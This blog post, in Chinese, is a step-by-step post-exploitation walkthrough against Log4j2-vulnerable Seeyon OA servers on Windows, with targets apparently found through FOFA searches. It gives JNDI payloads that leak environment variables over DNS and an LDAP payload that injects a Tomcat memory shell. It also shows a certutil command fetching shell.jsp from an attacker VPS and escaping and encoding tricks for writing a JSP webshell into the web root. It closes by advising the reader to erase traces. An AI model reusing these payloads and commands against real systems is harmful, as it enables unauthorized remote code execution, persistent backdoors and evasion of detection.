windows系统下log4j2漏洞的后渗透
0x00
前言
在近期挖洞过程中，遇到很多window系统下的log4j2漏洞环境。在大多数时候都是简单的漏洞验证，漏洞的后续利用一直尝试未果。带着这个执念，开始研究log4j2的后续利用。
0x01
挖洞中遇到存在log4j2远程命令执行漏洞的较多的就是致远OA，无论是致远A6还是A8，十个致远OA里总能找到一两个存在漏洞的（挖洞人狂喜！）。
由于致远OA并不开源，所以在目标范围中通过fofa上找到一名的致远用户
fofa引擎搜索语法： app="致远互联-OA" app="致远A8" app="致远A6" ...
被插件检测到，就决定是你了
强烈安利 log4j2burpscanner检测插件 项目地址： https://github.com/Jeromeyoung/log4j2burpscanner
访问这个站看下，是一个致远A8
漏洞验证
验证log4j2很简单，漏洞原理在此就不赘述了。
判断操作系统
判断操作系统的方法有很多，这里分享一种我常用的
例如
${jndi:dns://${env:OS}.dnslog.com} //Windows查看系统版本
${jndi:dns://${env:USERNAME}.dnslog.com} //windows查看当前用户
再分享一些log4j2可以执行的命令
log4j-java
IDusagemethod1${java:version}getSystemProperty("java.version")2${java:runtime}getRuntime()3${java:vm}getVirtualMachine()4${java:os}getOperatingSystem()5${java:hw}getHardware()6${java:locale}getLocale()
Linux
idusage1${env:CLASSPATH}2${env:HOME}3${env:JAVA_HOME}4${env:LANG}5${env:LOGNAME}6${env:MAIL}7${env:PATH}8${env:PWD}9${env:SHELL}10${env:USER}
Windows
idusage1${env:A8_HOME}2${env:A8_ROOT_BIN}3${env:CLASSPATH}4${env:JRE_HOME}5${env:Java_Home}6${env:LOGONSERVER}7${env:OS}8${env:Path}9${env:USERDOMAIN}10${env:USERNAME}
log4j2-sys
idusage1${sys:java.version}2${sys:os.name}3${sys:os.version}4${sys:user.name}
命令执行
在致远OA的环境下，我们可以通过注入内存马进行命令执行
使用JNDI注入工具
下载地址：https://github.com/Jeromeyoung/JNDIExploit-1
1.在vps上使用工具启动服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u //该命令可以列举JNDI注入的利用链
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps公网地址 -l port -p port //-l 指定ladp服务端口 -p 指定HTTP服务端口
2.使用注入内存马的exp
${jndi:ldap://x.x.x.x:1389/TomcatBypass/TomcatMemshell111}
https://ip/seeyon/anything?type=basic&pass=ipconfig
后渗透
在可以命令执行后，想要进一步获取服务器权限，这里我想到两种思路：一是下载公网服务器的shell文件或者exe直接上线；二是直接写入webshell。思路清晰，直接开冲！
思路一
在公网开启http服务，让目标服务器下载我们公网服务器的文件
使用命令执行curl一下我的公网地址看看能不能访问（竟然没回显，不过没关系我们继续）
windows自带的certutil工具可以下载远程服务器上的文件，尝试下载shell文件
certutil.exe -urlcache -split -f http://x.x.x.x/shell.jsp
果不其然还是报错
我们看一下有没有下载成功
OK，下载失败，我们直接跑路尝试其他思路。
思路二
直接写入webshell，这种办法简单粗暴，但也是坑点最多的地方。
坑点一
本着谨慎的态度，我打算先传个txt试试水。（当然要先找对上传位置..\webapps\seeyon\）
echo 111 >..\webapps\seeyon\test.txt
看看是否创建成功
访问test.txt，也没啥毛病
做到这一步的时候我已经激动的不行了，直接整个jsp写个shell进去！
执行完命令看到没报错的时候，我已经慌了，看眼写进去没。emmmmm，果然没有
坑点二
就在我满头问号？？？的时候，某大佬对我进行了及时指导：“你把echo的内容base64编个码写上去，再把文件解码不就行了？certutil工具就可以实现编解码！”。我直接醍醐灌顶，开冲！
先是编解码
CertUtil -encode test.jsp test.txt //编码 CertUtil -decode test.txt test.jsp //解码
编码后的文件长这样
经过测试，发现去掉BEGIN和END以及换行是不影响解码的
这次一定成功！直接写入编码后的内容
看看有没有写进去，再访问一下
可以看到写入成功了，把txt文件解码输出jsp文件就成了
查看是否输出成功，怎么又失败了。。
正当我茫然不知所措的时候，大佬又点醒了我：“你看看是不是目标有杀软”。
破案了。。估计是certutil命令被阻止了，之前下载的操作估计也是一样。
坑点三
在写入shell这条路走不通后，时间也来到了下午六点，直接开摆等下班。这时闲来无事搜索了下echo命令，发现是有讲究的："<>"需要转义，否则会有与输入输出发生歧义的问题。举个例子：
赶紧把马子转义一下重新写入。
看看写上去没
？？？没有？那我再url编个码！
再看一眼，好起来了！
访问一下，nice！完美！
这次直接传个jsp，拿下拿下！
连接webshell（求求了一定要连上T.T）
wuhu~~拿下！
PS：记得清理痕迹！！！
0x02
后记
这一次艰难的探索之旅从年前就开始了，中途由于各种原因摆烂至今。如今终于在大佬们的帮助下攻克了。其实在注入内存马之前还有过其他的想法，比如：直接把上线cs的命令写在代码里打包class并让目标请求的离谱操作（当时看服务端确实有被请求，但是并没有上线，万恶的杀软！），好在大佬及时指点没有浪费太多时间。虽然解决了一个不值一提的问题，但还有点成就感的，对文章中有问题或者有异议的地方，也请大佬们纠错。和谐讨论，快乐渗透！多谢大噶~
